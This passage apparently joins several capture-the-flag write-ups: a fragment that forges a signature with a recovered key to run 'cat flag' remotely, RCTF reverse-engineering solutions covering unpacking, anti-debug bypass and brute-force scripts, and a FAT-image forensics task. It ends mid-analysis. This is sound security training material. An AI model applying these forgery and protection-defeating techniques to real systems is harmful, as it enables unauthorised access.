If we got it correctly, the following condition should be true:```pythonmx = 61262266441191146369913672082151254217822682617y = 12813568285675088759086...g = 52865703933600072480340...p = 14577437014070574361928...pow(g, q - mx, p) == y```
And it is! So we:
1. Set privkey locally to 678642343241329440366097580369564926238778646902 and sign "cat flag"2. Get a valid signature3. Execute cat flag on remote4. ???5. Profit |
**Description**
> Please submit RCTF{\<WhatYouInput\>}.> > attachment:> > https://drive.google.com/open?id=1p3afjvuSfSYwmqaiEDDpJUcU0VhGJ8AT
**Solution**
### Unpacking ###
This is actually my first time dealing with linux packed executables, but the mechanism is similar to that on Windows.
After opening the executable in IDA, IDA says `.GOT.PLT` cannot be found, which suggests it may be packed; also, it says the entry point of program is invalid, this won't happen even if the program is packed, so let's see what is going on.
Firstly, the entry point is `0x4018C8` as specified in the ELF header, but it is red (invalid).

IDA says this address is not in a loadable section, and if we go to that address in IDA, it is not shown either. However, if we load this in gdb and breakpoint at `0x4018c8`, it works.
The problem is the at the PHT entry, the size is only `0x18c8`, which excludes the entry point:

So after patching the `0x18C8` to `0x2000`, IDA analysis will be normal.
```assemblypublic startstart proc near ; DATA XREF: LOAD:0000000000400018↑o; start+7↓omov rbp, offset _init_procmov r9, offset startloc_4018D6: ; CODE XREF: start+23↓jmov r8, 0CChxor qword ptr [rbp], r8mov r8, [rbp+0]inc rbpcmp rbp, r9jl short loc_4018D6mov rbp, offset _startjmp rbpstart endp```
This code decodes the `.text` segment by XORing with `0xCC`, so we can write a IDA python script to decode:
```pythondef xor_decode(start, end, key): for p in xrange(start, end): PatchByte(p, Byte(p) ^ key)#xor_decode(0x400958, 0x4018C8, 0xCC)```
Then apply the patch to the file and reopen the file, the executable is unpacked.
### First attempt ###
We can see following code in the main function:
```cputs("input flag:");read(0, ::flag, 0x21uLL);flag[0] = ::flag[0];flag[1] = ::flag[1];flag[2] = ::flag[2];flag[3] = ::flag[3];v7 = word_602100;v9[0] = 0x67452301;v9[1] = 0xEFCDAB89;v9[2] = 0x98BADCFE;v9[3] = 0x10325476;length = (unsigned int)strlen((const char *)flag) >> 2;if ( length && return_true((unsigned int *)flag, length, v9) ) puts("Right!");kill(pid, 9);return 0LL;```
There is actually more code in the previous part: calls to APIs like `fork`, `wait`, `ptrace`. Initially I thought these are just anti-debugging techniques and are not useful for obtaining the flag.
`return_true` is:
```c// length == 8bool __fastcall return_true(unsigned int *input, int length, unsigned int *key){ unsigned int next; // ST2C_4 unsigned int v4; // ST34_4 unsigned int hash_gen_2bits; // [rsp+28h] [rbp-18h] int i_1; // [rsp+30h] [rbp-10h] unsigned int prev; // [rsp+34h] [rbp-Ch] int i; // [rsp+38h] [rbp-8h] unsigned int hash_gen; // [rsp+3Ch] [rbp-4h]
hash_gen = 0; for ( i = 52 / length + 6; i; --i ) { prev = input[length - 1]; i_1 = 0; hash_gen -= 0x61C88647; hash_gen_2bits = (hash_gen >> 2) & 3; while ( length - 1 > i_1 ) { next = input[i_1 + 1]; input[i_1] += ((next ^ hash_gen) + (prev ^ key[hash_gen_2bits ^ i_1 & 3])) ^ ((4 * next ^ (prev >> 5)) + ((next >> 3) ^ 16 * prev)); prev = input[i_1++]; } input[length - 1] += ((*input ^ hash_gen) + (prev ^ key[hash_gen_2bits ^ i_1 & 3])) ^ ((4 * *input ^ (prev >> 5)) + ((*input >> 3) ^ 16 * prev)); v4 = input[length - 1]; } __debugbreak(); return memcmp(input, "quehsj_kcneop_amneuf_ieha_ehdhde", 0x20uLL) == 0;}```
First I searched for the magic number `0x61C88647`. It seems that it is a magic number used for a hashing algorithm.
So this seems like a hashing algorithm, input is added according to the previous element and the next element (the first's element previous element is the last element and vice versa, like a cyclic list), and this will be executed `52 / length + 6` times, with `hash_gen` being changed in each iteration. However, `[0]` (the first element) will use `[len - 1]` and `[1]`, which are not encoded; the `[i]` element (where `0 < i < len - 1`) will use `[i - 1]` (encoded) and `[i + 1]` (not encoded); the `[len - 1]` element will use `[len - 2]` and `[0]`, which are **encoded**. Therefore, we can recover the last element given the result of the hashing, and in turn recover all of the previous elements with a reverse loop, as shown:
```c#include <stdint.h>#include <stdio.h>#include <memory.h>#include <sys/ptrace.h>
#define LEN 8unsigned char buf[33] = "quehsj_kcneop_amneuf_ieha_ehdhde";unsigned int* test = (unsigned int*)testbufin;unsigned int* flag = (unsigned int*)buf;
uint32_t key[4]={ 0x67452301,0xEFCDAB89,0x98BADCFE,0x10325476};
void print_hex(unsigned char* buf, size_t len){ for (int i = 0; i < len; ++i) { printf("\\x%.2x", buf[i]); } printf("\n");}
unsigned int hash_gens[13];
void init_hash_gens(){ unsigned int hash_gen = 0; for (int i = 0; i < 12; ++i) { hash_gen -= 0x61C88647; hash_gens[i] = hash_gen; }}
void one_iteration(unsigned int* flag, int i){ unsigned int hash_gen_2bits = (hash_gens[i] >> 2) & 3; flag[LEN - 1] -= ((*flag ^ hash_gens[i]) + (flag[LEN - 2] ^ key[hash_gen_2bits ^ ((LEN - 1) & 3)])) ^ ((4 * *flag ^ (flag[LEN - 2] >> 5)) + ((*flag >> 3) ^ 16 * flag[LEN - 2])); //now flag[LEN - 1] has been recovered for (int j = LEN - 2; j >= 1; --j) { flag[j] -= ((flag[j + 1] ^ hash_gens[i]) + (flag[j - 1] ^ key[hash_gen_2bits ^ (j & 3)])) ^ ((4 * flag[j + 1] ^ (flag[j - 1] >> 5)) + ((flag[j + 1] >> 3) ^ 16 * flag[j - 1])); } flag[0] -= ((flag[1] ^ hash_gens[i]) + (flag[LEN - 1] ^ key[hash_gen_2bits ^ (0 & 3)])) ^ ((4 * flag[1] ^ (flag[LEN - 1] >> 5)) + ((flag[1] >> 3) ^ 16 * flag[LEN - 1]));}
int main(){ init_hash_gens(); printf("recover:\n"); for (int i = 52 / LEN + 6; i; i--) { one_iteration(flag, i - 1/*damn it, stuck for 2 hours!!!!!!!*/); print_hex(buf, 33); printf("%s\n", buf); }}```
However, the result is not readable, and indeed, if we `nop` the `fork` and ignore all the previous instructions, and redirect the resulting unreadable bytes into the stdin of the program, it will work, but this is certainly not the flag, so it must have something to do with the previous part of code.
```$ ./simplere_unpacked_nofork < flag.txt input flag:Right!$ xxd flag.txt 00000000: 8ec8 e688 d671 767d 39f1 ae60 8447 b784 .....qv}9..`.G..00000010: 1ea4 f3ed 963a ed98 fc71 6351 8709 460b .....:...qcQ..F.00000020: 00```
### Second attempt ###
Then I looked at the previous instructions, which did not seem like they were checking the flag, but I found something interesting:
```assembly;in main functionloc_401221: ; CODE XREF: main+136↑jlea rax, cs:1F2498hmov rdi, raxcall plus_0x20edacmov [rbp+var_18], raxpush [rbp+var_18]retn ; jmp 0x401244
LOAD:0000000000400EC1 plus_0x20edac proc near ; CODE XREF: sub_400FB1+12↓pLOAD:0000000000400EC1 ; main+1AA↓pLOAD:0000000000400EC1 push rbpLOAD:0000000000400EC2 mov rbp, rspLOAD:0000000000400EC5 push rbxLOAD:0000000000400EC6 mov rbx, rdi ; rbx = argLOAD:0000000000400EC9 lea rdi, cs:300E37hLOAD:0000000000400ED0 call add_0x1000ACLOAD:0000000000400ED5 push rax ; rax = 0x400ee3LOAD:0000000000400ED6 retn ; jmp 400ee3LOAD:0000000000400ED6 plus_0x20edac endp ; sp-analysis failedLOAD:0000000000400ED6LOAD:0000000000400ED6 ; ------------------------------------------------------------------LOAD:0000000000400ED7 db 0AAhLOAD:0000000000400ED8 db 0B7hLOAD:0000000000400ED9 db 91h, 5, 6, 17h, 82h, 19h, 0C7hLOAD:0000000000400EE0 db 0DDh, 0AAh, 0LOAD:0000000000400EE3 ; ------------------------------------------------------------------LOAD:0000000000400EE3 mov rdi, rbxLOAD:0000000000400EE6 call add_0x1000ACLOAD:0000000000400EEB add rax, 10ED00h ; rax = arg + 0x20edacLOAD:0000000000400EF1 pop rbxLOAD:0000000000400EF2 pop rbpLOAD:0000000000400EF3 retn
LOAD:0000000000400EA7 add_0x1000AC proc nearLOAD:0000000000400EA7 ; LOAD:0000000000400EE6↓pLOAD:0000000000400EA7LOAD:0000000000400EA7 var_8 = qword ptr -8LOAD:0000000000400EA7LOAD:0000000000400EA7 push rbpLOAD:0000000000400EA8 mov rbp, rspLOAD:0000000000400EAB mov [rbp+var_8], rdiLOAD:0000000000400EAF mov eax, cs:dword_6020B8 ; eax = 0x1000ACLOAD:0000000000400EB5 movsxd rdx, eaxLOAD:0000000000400EB8 mov rax, [rbp+var_8]LOAD:0000000000400EBC add rax, rdxLOAD:0000000000400EBF pop rbpLOAD:0000000000400EC0 retnLOAD:0000000000400EC0 add_0x1000AC endp```
This is a kind of obsfucation technique, in which the program `push xxx; retn` to implement a `jmp xxx`, so IDA will just fail the stack frame analysis.
Thus, actually, the main function should be like this (after replacing some useless instructions with `nop`)
```assemblyLOAD:0000000000401221 lea rax, cs:1F2498hLOAD:0000000000401228 mov rdi, raxLOAD:000000000040122B call plus_0x20edacLOAD:0000000000401230 mov qword ptr [rbp+stat_loc+4], raxLOAD:0000000000401234 nopLOAD:0000000000401235 nopLOAD:0000000000401236 nopLOAD:0000000000401237 nop ; jmp 0x401244LOAD:0000000000401238LOAD:0000000000401238 loc_401238:LOAD:0000000000401238 nopLOAD:0000000000401239 nopLOAD:000000000040123A nopLOAD:000000000040123B nopLOAD:000000000040123C nopLOAD:000000000040123D nopLOAD:000000000040123E nopLOAD:000000000040123F nopLOAD:0000000000401240 nopLOAD:0000000000401241 nopLOAD:0000000000401242 nopLOAD:0000000000401243 nopLOAD:0000000000401244 lea rdx, [rbp+var_1A0]```
Originally there was a obsfucated `jmp`, but now I simply `nop` them and the replace the code that should have been `jmp`, which should have same effect. F5 decompile:
```c//... plus_0x20edac(); *(int **)((char *)&stat_loc.__iptr + 4) = v3; ptrace(PTRACE_GETSIGINFO, v12, 0LL, &v5;; if ( v5 == SIGTRAP ) { ptrace(PTRACE_GETREGS, v12, 0LL, flag); v8 = sub_400FB1; ptrace(PTRACE_SETREGS, v12, 0LL, flag); } ptrace(PTRACE_CONT, v12, 0LL, 0LL); }}//... ```
The `ptrace` seems to process flag in some way, but I could not understand it. :) Why does the program put the register context into the flag buffer? Also, the function `sub_400FB1` is strange - it is referenced and assigned to a local variable, but never used. If we have a look at it:
```assemblyLOAD:0000000000400FB1 sub_400FB1 proc near ; DATA XREF: main+214↓oLOAD:0000000000400FB1 push rbpLOAD:0000000000400FB2 mov rbp, rspLOAD:0000000000400FB5 sub rsp, 20hLOAD:0000000000400FB9 lea rax, cs:1F2230hLOAD:0000000000400FC0 mov rdi, raxLOAD:0000000000400FC3 call plus_0x20edacLOAD:0000000000400FC8 mov [rbp+var_10], raxLOAD:0000000000400FCC push qword ptr [rbp-10h]LOAD:0000000000400FCF retn```
Same technique as above. After `nop`, the function `sub_400FB1` decompiles to this code:
```cvoid __noreturn sub_400FB1(){ __int64 v0; // rax char s; // [rsp+1h] [rbp-1Fh] char v2; // [rsp+2h] [rbp-1Eh] char v3; // [rsp+3h] [rbp-1Dh] char v4; // [rsp+4h] [rbp-1Ch] char v5; // [rsp+5h] [rbp-1Bh] char v6; // [rsp+6h] [rbp-1Ah] char v7; // [rsp+7h] [rbp-19h] _BOOL8 (__fastcall *v8)(unsigned int *); // [rsp+8h] [rbp-18h] __int64 v9; // [rsp+10h] [rbp-10h] unsigned __int64 i; // [rsp+18h] [rbp-8h]
plus_0x20edac(); v9 = v0; v8 = real_check; s = 'R'; v2 = 'i'; v3 = 'g'; v4 = 'h'; v5 = 't'; v6 = '!'; v7 = 0; for ( i = 0LL; i < 354; ++i ) *((_BYTE *)v8 + i) ^= 0x28u;//xor SMC, use same xor_decode IDA python code to decode if ( (unsigned __int8)real_check((unsigned int *)::flag) ) puts(&s); if ( pid ) kill(pid, 9); exit(0);}
_BOOL8 __fastcall real_check(unsigned int *flag){ unsigned int result[6]; // [rsp+8h] [rbp-40h] unsigned int mult[6]; // [rsp+28h] [rbp-20h] int v5; // [rsp+40h] [rbp-8h] int i; // [rsp+44h] [rbp-4h]
mult[0] = 0x556E4969; mult[1] = 0x2E775361; mult[2] = 0x893DAE7; mult[3] = 0x96990423; mult[4] = 0x6CF9D3E9; mult[5] = 0xA505531F; result[0] = 0x54A0B9BD; result[1] = 0x4B818640; result[2] = 0x8EB63387; result[3] = 0xA9EABEFD; result[4] = 0xB8CDF96B; result[5] = 0x113C3052; for ( i = 0; i <= 5; ++i ) { if ( mult[i] * flag[i] != result[i] ) return 0LL; } if ( (unsigned int)sub_400EF4(flag[6], *((unsigned __int16 *)flag + 14), 0xF64BB17D) != 0x6F82C8DC || (unsigned int)sub_400F5B(*((_WORD *)flag + 14), *((_WORD *)flag + 15)) != 0xA496 ) { return 0LL; } v5 = 0; for ( i = 24; i <= 31; ++i ) v5 ^= *((char *)flag + i); return v5 == 22 && *((_BYTE *)flag + 32) == 's';}```
After XOR decoding again, we can see the `real_check` function that examines the flag, although I don't know how this will be called :D The first 24 bytes are easy, considering the overflow that might happen when doing multiplication, we use bruteforce approach.
```cint main1(int argc, char const *argv[]){ unsigned long long mult[6]; unsigned long long result[6]; mult[0] = 0x556E4969; mult[1] = 0x2E775361; mult[2] = 0x893DAE7; mult[3] = 0x96990423; mult[4] = 0x6CF9D3E9; mult[5] = 0xA505531F; result[0] = 0x54A0B9BD; result[1] = 0x4B818640; result[2] = 0x8EB63387; result[3] = 0xA9EABEFD; result[4] = 0xB8CDF96B; result[5] = 0x113C3052; for (int i = 0; i < 6; ++i) { for (unsigned long long x = 0L; x < 0x100000000L; ++x) { if ((x & 0xfffffffL) == 0) { printf("%llx\n", x); } if (((x * mult[i]) & 0xffffffffL) == result[i]) { printf("%s\n", (char*)&x); } } } return 0;}```
`5o_M@ny_an7i_Rev3rsing_T`
> Note: these are linear congruences again and could more quickly be solved with the same method as in babyre2.
However, the next 2 checks are harder:
```cunsigned __int64 __fastcall sub_400EF4(unsigned int a1, unsigned int a2, unsigned int a3_0xF64BB17D){ unsigned int flag2; // [rsp+4h] [rbp-18h] unsigned __int64 v5; // [rsp+Ch] [rbp-10h] unsigned __int64 v6; // [rsp+14h] [rbp-8h]
flag2 = a2; v6 = 1LL; v5 = a1; while ( flag2 ) { if ( flag2 & 1 ) v6 = v5 * v6 % a3_0xF64BB17D; v5 = v5 * v5 % a3_0xF64BB17D; flag2 >>= 1; } return v6; // need 0x6F82C8DC}
__int64 __fastcall sub_400F5B(unsigned __int16 a1, unsigned __int16 a2){ unsigned __int16 v2; // ST16_2 unsigned __int16 i; // [rsp+0h] [rbp-18h] unsigned __int16 v5; // [rsp+4h] [rbp-14h]
v5 = a1; for ( i = a2; i & v5; i = 2 * (i & v2) ) { v2 = v5; v5 ^= i; } return (unsigned __int16)(i | v5); // need 0xA496}```
So the flag looks like `5o_M@ny_an7i_Rev3rsing_T11112233s`, where `1111` and `22` will be the input for the first check; `22` and `33` will be the input for the second check. Additionally, there is a XOR checksum that must be satisfied.
### The last 8 bytes ###
Given the challenge so far and the flag, it was obvious that the flag would say something like `5o_M@ny_an7i_Rev3rsing_Techniques` - the word fit exactly in the 8 bytes we had. However, just like with the other words, some letters would be replaced with numbers or their uppercase variants. The first thing I tried right away was just to check for these few possibilities:
['e', 'E', '3'] ['c', 'C'] ['h', 'H'] ['n', 'N'] ['i', 'I', '1', '|'] ['q', 'Q'] ['u', 'U'] ['e', 'E', '3']
But no luck. In hindsight, it was a simple oversight. Can you tell which character I missed?
Well, without much success here I turned to actually look at the two check functions. The second check (`sub_400F5B`, checking for `2233`) looks like some sort of XOR stream? But clearly with two 16-bit integer inputs there are only 2^32 possible inputs, which is not a huge number. After brute-forcing and constraining answers to ASCII bytes, there were only 7917 possible solutions.
The first check (`sub_400EF4`) seemed more complex to me at the time. For the write-up though, it is very clear. Suppose we take `a2 = 25 = 0b11001`. Then the steps taken in the while loop are:
| v5 | a2 & 1 | v6 || --- | --- | --- || | | 1 || a1^1 | 1 | 1 * a1^1 || a1^2 | 0 | 1 * a1^1 || a1^4 | 0 | 1 * a1^1 || a1^8 | 1 | 1 * a1^1 * a1^8 || a1^16 | 1 | 1 * a1^1 * a1^8 * a1^16 |
So the final value of `v6 = 1 * a1^1 * a1^8 * a1^16 = a1^(1 + 8 + 16) = a1^a2`. These operations work across the modulo application. In other words, we know the modulus `m` (`0xF64BB17D`), we know the required result `r` to pass the check (`0x6F82C8DC`), and we need to find out two numbers such that one to the power of the other modulo `m` is `r`:
a^b = r mod m
This is very common in encryption, [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Operation) specifically.
### However! ###
During the CTF I was a bit too dumb to realise, and the clock was ticking. So, a bruteforce method was employed, and executed on a beefy 64-core system.
([here is the shameful bruteforcer](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-05-19-RCTF/scripts/simplere-brute.c))
And the flag is:
`5o_M@ny_an7i_Rev3rsing_Techn!qu3s`
So I was right about the guess, `echn` matched exactly, but I did not think of `!` as a replacement for the letter `i`. Annoying, but we got the flag so oh well! |
# [Timisoara CTF Quals 2018] Strange behavior (Forensics-100pts)
In this task we were given a file of unknown type.
So first, to identify the file type we use `file` linux command:
$ file personal.bin personal.bin: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, reserved sectors 4, root entries 512, sectors 62500 (volumes <=32 MB), Media descriptor 0xf8, sectors/FAT 64, sectors/track 32, heads 64, serial number 0x39d716e5, unlabeled, FAT (16 bit)
The file is a `DOS/MBR boot sector` so we can mount it:
$ mkdir personal.dir $ sudo mount personal.bin personal.dir $ tree personal.dir personal.dir ├── 4_next_lectures │ └── fuuuuuuuun.mp4 ├── cyber.jpg ├── panda_udg.jpg └── profile.jpg
We look at the files but nothing interesting here, so using sleuthkit we look for deleted files:
$ fls -r ./personal.bin r/r 4: profile.jpg r/r 6: cyber.jpg r/r 8: panda_udg.jpg d/d 11: 4_next_lectures + r/r 18247: fuuuuuuuun.mp4 + r/r * 18249: schedule.xlsx v/v 997891: $MBR v/v 997892: $FAT1 v/v 997893: $FAT2 d/d 997894: $OrphanFiles
And we see that there is a deleted file called `schedule.xlsx`, so still using sleuthkit we retrieve it.Then, using in2csv from csvkit we convert this file to csv to be able to read it in our terminal.
$ icat personal.bin 18249 > schedule.xlsx $ in2csv schedule.xlsx > schedule.csv $ cat schedule.csv "No. overall","No. in season",Title,Directed by,Written by,Viewed, 22,1,"""The Rickshank Rickdemption""",Juan Meza-León,Mike McMahan,x, 23,2,"""Rickmancing the Stone""",Dominic Polcino,Jane Becker,x, 24,3,"""Pickle Rick""",Anthony Chun,Jessica Gao,x, 25,4,"""Vindicators 3: The Return of Worldender""",Bryan Newton,Sarah Carbiener & Erica Rosbe,x, 26,5,"""The Whirly Dirly Conspiracy""",Juan Meza-León,Ryan Ridley,x, 27,6,"""Rest and Ricklaxation""",Anthony Chun,Tom Kauffman,x, 28,7,"""The Ricklantis Mixup""[b]",Dominic Polcino,Dan Guterman & Ryan Ridley,x, 29,8,"""Morty's Mind Blowers""",Bryan Newton,"Mike McMahan, James Siciliano, Ryan Ridley, Dan Guterman, Justin Roiland & Dan Harmon",x, 30,9,"""The ABC's of Beth""",Juan Meza-León,Mike McMahan,timctf{d0nt_f0rg3t_t0_h4v3_fun}, 31,10,"""The Rickchurian Mortydate""",Anthony Chun,Dan Harmon,x, **Et voilà !** |
**Description**
> right time, right spell, right flag.> > attachment: https://drive.google.com/open?id=13Di0J0NeDw6CeQ8W4wqKyLpx0vFtKZM0
**Solution**
Put into IDA, look at `main`:
```cint __cdecl main(int argc, const char **argv, const char **envp){ signed int v3; // eax unsigned __int8 v5[32]; // [rsp+20h] [rbp-30h] _DWORD a2[4]; // [rsp+48h] [rbp-8h]
sub_403310(); a2[1] = time64(0i64); a2[0] = rand(); if ( exchange_by_xor(&a2[1], a2) && exchange_by_xor(&a2[1], &a2[1]) ) { puts("flag only appears at a specific time, range [2018-05-19 09:00, 2018-05-21 09:00)\nBetter luck next time :)"); } //...}unsigned __int32 __fastcall exchange_by_xor(_DWORD *a1, _DWORD *a2){ *a1 ^= *a2; *a2 ^= *a1; *a1 ^= *a2; return *a1;}//exchange the *a1 and *a2 only when a1 != a2, or else set all of them to 0```
In `main`, there are some operations: it seems that we want the first check to be false; however, it's already false, since the `xor_exchange` is problematic when a1 and a2 are same address (this has been coverd in CSAPP). And indeed, if we set breakpoint at the entrypoint of `main`, we will get error massage immediately, which suggests that the error message is **not the one from main function**.
Actually, I got stuck here for a while since initially I didn't realize it is a "and" but thought it is a "or" :(
Thus, if we set the breakpoint at `puts` to obtain where the message occurs, we can get a stack trace:
```c__int64 __fastcall dynamic_str_gen(char *a4, char *a3, signed int size, char *buf){ unsigned int v4; // ST2C_4 const char *a4a; // [rsp+40h] [rbp+10h] signed int a3a; // [rsp+48h] [rbp+18h] int a5a; // [rsp+50h] [rbp+20h]
a4a = a4; a3a = (signed int)a3; a5a = size; xor_with_32key((unsigned int)a4, (unsigned int)a3, size); v4 = puts(a4a); xor_with_32key((unsigned int)a4a, a3a, a5a); return v4;}
__int64 __fastcall sub_402357(__time64_t *a1, char **a2){ __int64 result; // rax int v3; // eax char *v4; // r9
sub_402268(a1, (__int64)a2); result = (unsigned int)not_0_key[0]; if ( !not_0_key[0] ) {//we don't want this, so need not_0_key[0] to be true v3 = strtol("ca11ab1e", 0i64, 16); result = dynamic_str_gen(&a4, (char *)0x69, v3 ^ 0xBADD1917, v4); } return result;}
/*000000000040224800000000004023AA00000000004032D2//possibly system callback call(retrieve things from array)//000007FF756A13D200000000004013CA000000000040152B//0000000078D359CD*/```
Indeed, this is called before `main` function is called. So when will this happen? For example, in C++, the constructor of any global object will be called before `main` is called.
Take a look at `sub_402268`:
```c__int64 __fastcall sub_402268(__time64_t *a1, __int64 a2){ __int64 result; // rax char *v3; // r9 unsigned __int32 v4[2]; // [rsp+20h] [rbp-10h] unsigned int Seed; // [rsp+28h] [rbp-8h] int i; // [rsp+2Ch] [rbp-4h]
Seed = time64(0i64); if ( Seed <= 0x5AFFE78F || Seed > 0x5B028A8F ) return 0i64; srand(Seed); for ( i = 0; i <= 255; ++i ) critical_key[i] ^= rand(); //This function is basically to generate an array of random numbers //based on current time64(), which is the input as the hint said. sub_4027ED(critical_key, &v4[1], v4, v3, 0i64); if ( v4[1] == 0x700 ) { not_0_key[0] = v4[0]; // purpose result = v4[0]; } else { not_0_key[0] = 0; result = 0i64; } return result;}
_DWORD *__fastcall sub_4027ED(char *a1, _DWORD *a2, _DWORD *want_0x700, char *critical_key, _DWORD *want_no0){ _DWORD *result; // rax __int64 v6; // [rsp+0h] [rbp-80h] struc_1 a4[256]; // [rsp+20h] [rbp-60h] int i; // [rsp+C2Ch] [rbp+BACh] char vars0[8]; // [rsp+C30h] [rbp+BB0h] char *ckeys; // [rsp+C40h] [rbp+BC0h] _DWORD *v11; // [rsp+C48h] [rbp+BC8h] _DWORD *v12; // [rsp+C50h] [rbp+BD0h]
ckeys = a1; v11 = a2; v12 = want_0x700; memset(&v6 + 4, 0, 0xC00ui64); for ( i = 0; i <= 255; ++i ) { vars0[12 * i - 0xC10] = ckeys[i]; // IDA problematic? a4[i] accessing *(_DWORD *)&vars0[12 * i - 0xC0C] = 0x7FFFFFFF; *(_DWORD *)&vars0[12 * i - 0xC08] = 0; sub_4026D0(a4, i); } *v11 = a4[255].want_0x700; result = v12; *v12 = a4[255].want_no0; return result;}
void __fastcall sub_4026D0(struc_1 *a4, unsigned int i){ struc_1 *low_16_struc1; // rax struc_1 *v3; // rax int v4; // [rsp+24h] [rbp-1Ch] struc_1 *low_16_struc1_; // [rsp+30h] [rbp-10h] struc_1 *overall_struc1; // [rsp+38h] [rbp-8h] struc_1 *rcx_Arg; // [rsp+50h] [rbp+10h] unsigned int idx; // [rsp+58h] [rbp+18h]
rcx_Arg = a4; idx = i; overall_struc1 = safe_arr_access(a4, i); if ( overall_struc1 ) { if ( idx & 0xF ) low_16_struc1 = safe_arr_access(rcx_Arg, idx - 1); else low_16_struc1 = 0i64; low_16_struc1_ = low_16_struc1; if ( idx + 15 <= 30 ) // if (idx <= 15) v3 = 0i64; else v3 = safe_arr_access(rcx_Arg, idx - 16); // >15, access -16 // so for first 0-15,this will return 0 if ( low_16_struc1_ || v3 ) { if ( low_16_struc1_ ) { overall_struc1->want_0x700 = overall_struc1->key + low_16_struc1_->want_0x700; overall_struc1->want_no0 = 2 * low_16_struc1_->want_no0; } if ( v3 ) { v4 = v3->want_0x700 + overall_struc1->key; if ( v4 < overall_struc1->want_0x700 ) { overall_struc1->want_0x700 = v4; overall_struc1->want_no0 = 2 * v3->want_no0 | 1; } } } else { overall_struc1->want_0x700 = overall_struc1->key; } }}
/* where struc_1 is00000000 struc_1 struc ; (sizeof=0xC, mappedto_17)00000000 ; XREF: sub_4027ED/r00000000 key db ?00000001 db ? ; undefined00000002 db ? ; undefined00000003 db ? ; undefined00000004 want_0x700 dd ? ; XREF: sub_4027ED+10C/r00000008 want_no0 dd ? ; XREF: sub_4027ED+11B/r0000000C struc_1 ends*/```
`sub_4026D0` is doing dynamic programming using previous result of array, being called each time in the `for` loop of `sub_4027ED`. Finally, the element at index 255 will be used to check.
Without understanding what this dynamic programming is doing, we can write a bruteforce crack as shown.
```cuint8_t ckeys1[] = {88, 113, 143, 50, 5, 6, 81, 199, 167, 248, 58, 225, 6, 72, 130, 9, 161, 18, 159, 124, 184, 42, 111, 149, 253, 208, 103, 200, 227, 206, 171, 18, 31, 152, 107, 20, 234, 137, 144, 33, 45, 253, 154, 187, 71, 204, 234, 156, 215, 80, 39, 175, 185, 119, 223, 197, 233, 225, 80, 211, 56, 137, 239, 45, 114, 194, 223, 243, 125, 125, 101, 149, 237, 19, 0, 28, 163, 60, 227, 87, 227, 247, 247, 44, 115, 136, 52, 177, 98, 211, 55, 25, 38, 190, 178, 51, 32, 63, 96, 57, 135, 166, 101, 173, 115, 26, 109, 73, 51, 73, 192, 86, 0, 190, 10, 207, 40, 126, 142, 105, 135, 225, 5, 136, 218, 84, 62, 60, 14, 169, 250, 215, 127, 78, 68, 198, 154, 10, 210, 152, 106, 164, 25, 109, 140, 225, 249, 48, 229, 255, 51, 74, 169, 82, 58, 13, 103, 32, 29, 191, 54, 62, 232, 86, 191, 90, 136, 168, 105, 214, 171, 82, 241, 20, 242, 215, 239, 146, 247, 160, 112, 161, 239, 227, 31, 102, 43, 151, 246, 43, 48, 15, 176, 180, 192, 254, 166, 98, 253, 230, 76, 57, 207, 32, 179, 16, 96, 159, 52, 190, 178, 28, 59, 107, 29, 223, 83, 114, 242, 250, 177, 81, 130, 4, 48, 86, 31, 55, 114, 122, 151, 80, 41, 134, 74, 9, 60, 89, 196, 65, 113, 248, 26, 210, 48, 136, 99, 255, 133, 222, 36, 140, 195, 55, 20, 199};uint8_t buf[256];struct struc_1{ int8_t key; //not uint8_t, which will give multiple solutions //obey the IDA, always !!! int32_t want_0x700; int32_t want_no0;};
struct struc_1 dp_struc[256];
struc_1* safe_arr_access(struc_1 *structs, signed int i){ struc_1 *result; // rax
if (i >= 0 && i <= 255) result = &structs[i]; else result = 0LL; return result;}
void sub_4026D0(struc_1 *a4, unsigned int i){ struc_1 *low_16_struc1; // rax struc_1 *v3; // rax int v4; // [rsp+24h] [rbp-1Ch] struc_1 *low_16_struc1_; // [rsp+30h] [rbp-10h] struc_1 *overall_struc1; // [rsp+38h] [rbp-8h] struc_1 *rcx_Arg; // [rsp+50h] [rbp+10h] unsigned int idx; // [rsp+58h] [rbp+18h]
rcx_Arg = a4; idx = i; overall_struc1 = safe_arr_access(a4, i); if (overall_struc1) { if (idx & 0xF) low_16_struc1 = safe_arr_access(rcx_Arg, idx - 1); else low_16_struc1 = 0i64; low_16_struc1_ = low_16_struc1; if (idx + 15 <= 30) // if (idx <= 15) v3 = 0; else v3 = safe_arr_access(rcx_Arg, idx - 16); // >15, access -16 // so for first 0-15,this will return 0 if (low_16_struc1_ || v3) { if (low_16_struc1_) { overall_struc1->want_0x700 = overall_struc1->key + low_16_struc1_->want_0x700; overall_struc1->want_no0 = 2 * low_16_struc1_->want_no0; } if (v3) { v4 = v3->want_0x700 + overall_struc1->key; if (v4 < overall_struc1->want_0x700) { overall_struc1->want_0x700 = v4; overall_struc1->want_no0 = 2 * v3->want_no0 | 1; } } } else { overall_struc1->want_0x700 = overall_struc1->key; } }}
int main(){ for (size_t t = 0x5AFFE78F; t <= 0x5B028A8F; t++) { srand(t); for (size_t i = 0; i < 256; i++) { buf[i] = ckeys1[i] ^ rand(); } for (size_t i = 0; i < 256; i++) { dp_struc[i].key = buf[i]; dp_struc[i].want_0x700 = 0x7fffffff; dp_struc[i].want_no0 = 0; sub_4026D0(dp_struc, i); } if (dp_struc[255].want_0x700 == 0x700 && dp_struc[255].want_no0 != 0) printf("%x\n", t);//0x5b00e398 } system("pause"); return 0;}```
Patching `time64()` to `mov rax,0x5b00e398`, we can proceed to the next phase. Also, by setting breakpoints at `puts`, we can get this stack frame:
```c//0000000000402248//0000000000402407__int64 __fastcall critical_4023B1(char *a1, __int64 a2, __int64 a3, char *a4){ char *v4; // r9 const char *v5; // rcx char *v6; // r9 char *v7; // r9 struc_2 *input; // [rsp+20h] [rbp-30h] __int64 v10; // [rsp+28h] [rbp-28h] __int64 v11; // [rsp+30h] [rbp-20h] __int64 v12; // [rsp+38h] [rbp-18h] struc_2 a5; // [rsp+43h] [rbp-Dh]
